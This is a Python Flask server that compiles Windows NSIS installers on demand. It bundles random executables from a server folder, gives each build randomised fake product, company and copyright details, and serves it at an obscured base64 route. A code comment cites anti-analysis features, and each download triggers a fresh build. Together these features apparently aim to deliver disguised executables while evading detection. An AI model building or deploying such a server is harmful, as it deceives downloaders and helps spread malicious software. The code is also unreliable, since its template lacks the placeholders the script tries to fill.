from flask import Flask, send_file, jsonify
import os
import subprocess
import json
import random
from datetime import datetime
from pathlib import Path
from threading import Thread
import shutil

app = Flask(__name__)

# Configuration
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
STATS_FILE = "download_stats.json"
NSIS_COMPILER = "makensis"
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(COMPILE_FOLDER, exist_ok=True)

# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
NSIS_SCRIPT_TEMPLATE = r"""
;NSIS Modern User Interface
;Basic Example Script
;Written by Joost Verburg

;--------------------------------
;Include Modern UI

  !include "MUI2.nsh"

;--------------------------------
;General

  ;Name and file
  Name "Modern UI Test"
  OutFile "Basic.exe"
  Unicode True

  ;Default installation folder
  InstallDir "$LOCALAPPDATA\Modern UI Test"
  
  ;Get installation folder from registry if available
  InstallDirRegKey HKCU "Software\Modern UI Test" ""

  ;Request application privileges for Windows Vista
  RequestExecutionLevel user

;--------------------------------
;Interface Settings

  !define MUI_ABORTWARNING

;--------------------------------
;Pages

  ; !insertmacro MUI_PAGE_LICENSE "${NSISDIR}\Docs\Modern UI\License.txt"
  !insertmacro MUI_PAGE_COMPONENTS
  !insertmacro MUI_PAGE_DIRECTORY
  !insertmacro MUI_PAGE_INSTFILES
  
  !insertmacro MUI_UNPAGE_CONFIRM
  !insertmacro MUI_UNPAGE_INSTFILES
  
;--------------------------------
;Languages
 
  !insertmacro MUI_LANGUAGE "English"

;--------------------------------
;Installer Sections

Section "Dummy Section" SecDummy

  SetOutPath "$INSTDIR"
  
  ;ADD YOUR OWN FILES HERE...
  
  ;Store installation folder
  WriteRegStr HKCU "Software\Modern UI Test" "" $INSTDIR
  
  ;Create uninstaller
  WriteUninstaller "$INSTDIR\Uninstall.exe"

SectionEnd

;--------------------------------
;Descriptions

  ;Language strings
  LangString DESC_SecDummy ${LANG_ENGLISH} "A test section."

  ;Assign language strings to sections
  !insertmacro MUI_FUNCTION_DESCRIPTION_BEGIN
    !insertmacro MUI_DESCRIPTION_TEXT ${SecDummy} $(DESC_SecDummy)
  !insertmacro MUI_FUNCTION_DESCRIPTION_END

;--------------------------------
;Uninstaller Section

Section "Uninstall"

  ;ADD YOUR OWN FILES HERE...

  Delete "$INSTDIR\Uninstall.exe"

  RMDir "$INSTDIR"

  DeleteRegKey /ifempty HKCU "Software\Modern UI Test"

SectionEnd
"""

# Greatly expanded version details dictionary
VERSION_DETAILS = {
    "ProductName": [
        "Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
        "Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
        "VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
        "GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
        "Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
        "TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
        "PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
        "TechStream Ultimate", "OmegaCore Enterprise"
    ],
    "CompanyName": [
        "Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
        "Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
        "Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
        "GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
        "GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
        "GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
        "PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
        "GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
        "PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
        "GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
    ],
    "LegalCopyright": [
        "Copyright © 2024 Gametoy Innovations - All Rights Reserved",
        "Copyright © 2024 Visionary Game Co. - Professional Edition",
        "Copyright © 2024 Omega Systems - Enterprise License",
        "Copyright © 2024 TechWave - Premium License",
        "Copyright © 2024 Nebula Technologies - Commercial Use",
        "Copyright © 2024 GameForge Solutions - Professional License",
        "Copyright © 2024 Digital Nexus - Enterprise Edition",
        "Copyright © 2024 CyberPulse - Commercial License",
        "Copyright © 2024 VirtualCore - Premium Edition",
        "Copyright © 2024 GameStream - Professional Use",
        "Copyright © 2024 TechPro - Enterprise License",
        "Copyright © 2024 GameCore - Commercial Edition",
        "Copyright © 2024 CloudMatrix - Professional License",
        "Copyright © 2024 VisionWave - Premium Use",
        "Copyright © 2024 PulseForge - Enterprise Edition"
    ],
    "FileDescription": [
        "Professional Gaming Platform Installer", "Advanced Game Management System",
        "Enterprise Gaming Solution Suite", "Premium Game Development Tools",
        "Professional Game Analytics Platform", "Advanced Gaming Framework",
        "Enterprise Development Environment", "Professional Gaming SDK",
        "Advanced Game Publishing Tools", "Premium Gaming Platform",
        "Professional Development Suite", "Enterprise Gaming Framework",
        "Advanced Game Management Tools", "Premium Development Platform",
        "Professional Gaming Environment", "Enterprise Solution Suite",
        "Advanced Development Framework", "Premium Management System",
        "Professional Analytics Platform", "Enterprise Gaming Tools"
    ]
}

def generate_product_version():
    """
    Generates a realistic product version number with the format major.minor.patch.build
    Major: 1-5
    Minor: 0-15
    Patch: 0-99
    Build: 1000-9999
    """
    major = random.randint(1, 5)
    minor = random.randint(0, 15)
    patch = random.randint(0, 99)
    build = random.randint(1000, 9999)
    return f"{major}.{minor}.{patch}.{build}"

def generate_file_version():
    """
    Generates a unique file version with format major.minor.build.revision
    """
    versions = []
    for _ in range(30):  # Increased to 30 versions
        major = random.randint(1, 10)
        minor = random.randint(0, 99)
        build = random.randint(100, 999)
        revision = random.randint(0, 99999)
        versions.append(f"{major}.{minor}.{build}.{revision}")
    return versions

# Add generated file versions to VERSION_DETAILS
VERSION_DETAILS["FileVersion"] = generate_file_version()

def generate_random_version_details():
    """Generates random meaningful version details for each build."""
    return {
        "ProductName": random.choice(VERSION_DETAILS["ProductName"]),
        "CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
        "LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
        "FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
        "ProductVersion": generate_product_version(),
        "FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
    }

def generate_nsi_script():
    """Generates the NSI script with random version details and two different random executables."""
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
    
    if not os.access(UPLOAD_FOLDER, os.W_OK):
        raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")

    # Generate version details
    version_details = generate_random_version_details()

    # Choose random .exe files from the Programs folder
    programs_folder = "/files/programs"
    exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
    
    # Check if there are enough .exe files
    if len(exe_files) < 2:
        raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")

    # Select two different executable files
    random_exe_1 = random.choice(exe_files)
    exe_files.remove(random_exe_1)  # Remove the first selected .exe
    random_exe_2 = random.choice(exe_files)

    random_exe_1_path = os.path.join(programs_folder, random_exe_1)
    random_exe_2_path = os.path.join(programs_folder, random_exe_2)

    # Replace all placeholders in the template
    nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
    nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")

    # Replace version details
    for key, value in version_details.items():
        nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)

    # Replace the placeholders for the random executable files
    nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
    nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)

    # Save the script
    nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
    with open(nsi_file_path, 'w') as nsi_file:
        nsi_file.write(nsi_content)

    return nsi_file_path, installer_output

def cleanup_folders():
    """Clean up both compile and upload folders"""
    for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
        for file in os.listdir(folder):
            file_path = os.path.join(folder, file)
            try:
                if os.path.isfile(file_path):
                    os.unlink(file_path)
                elif os.path.isdir(file_path):
                    shutil.rmtree(file_path)
            except Exception as e:
                print(f"Error: {e}")

def load_stats():
    """Load download statistics from file"""
    if os.path.exists(STATS_FILE):
        with open(STATS_FILE, 'r') as f:
            return json.load(f)
    return {"downloads": 0, "last_download": None}

def save_stats(stats):
    """Save download statistics to file"""
    with open(STATS_FILE, 'w') as f:
        json.dump(stats, f)

def compile_nsi_script(nsi_file_path):
    """Compile the NSI script using NSIS compiler"""
    try:
        # Use just the command name instead of full path
        compile_cmd = [NSIS_COMPILER, nsi_file_path]
        compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
        if compile_result.returncode != 0:
            print(f"NSIS Compile Error: {compile_result.stderr}")
            return None
        return compile_result
    except subprocess.CalledProcessError as e:
        print(f"Compilation failed: {str(e)}")
        return None
    except Exception as e:
        print(f"Unexpected error during compilation: {str(e)}")
        return None

def get_current_installer():
    """Get the path of the most recent installer"""
    files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
    if not files:
        return None
    return str(max(files, key=os.path.getctime))

def generate_and_compile_new():
    """Generate and compile a new installer"""
    nsi_file_path, installer_output = generate_nsi_script()
    compile_nsi_script(nsi_file_path)

@app.route('/download/cnVuLmNtZA==')
def download_file():
    """Handle file download requests"""
    stats = load_stats()

    file_path = get_current_installer()
    if not file_path:
        nsi_file_path, installer_output = generate_nsi_script()
        compile_nsi_script(nsi_file_path)
        file_path = installer_output

    if not os.path.exists(file_path):
        return "Installer file not found", 404
    
    response = send_file(file_path, as_attachment=True)

    def after_request(response):
        stats['downloads'] += 1
        stats['last_download'] = datetime.now().isoformat()
        save_stats(stats)

        cleanup_folders()
        Thread(target=lambda: generate_and_compile_new()).start()
        return response
    
    return after_request(response)

@app.route('/show')
def show_stats():
    """Show download statistics"""
    stats = load_stats()
    return jsonify({
        "total_downloads": stats['downloads'],
        "last_download": stats['last_download']
    })

@app.route('/')
def home():
    """Home page with links to available endpoints"""
    return """
    <h1>File Compiler Service</h1>
    <ul>
        <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
        <li><a href="/show">/show</a> - View download statistics</li>
    </ul>
    """

if __name__ == '__main__':
    # Clean up on startup
    cleanup_folders()
    
    # Compile initial installer
    print("Creating initial installer...")
    nsi_file_path, installer_output = generate_nsi_script()
    compile_nsi_script(nsi_file_path)
    
    # Start the Flask application
    app.run(debug=True, host='0.0.0.0', port=7860)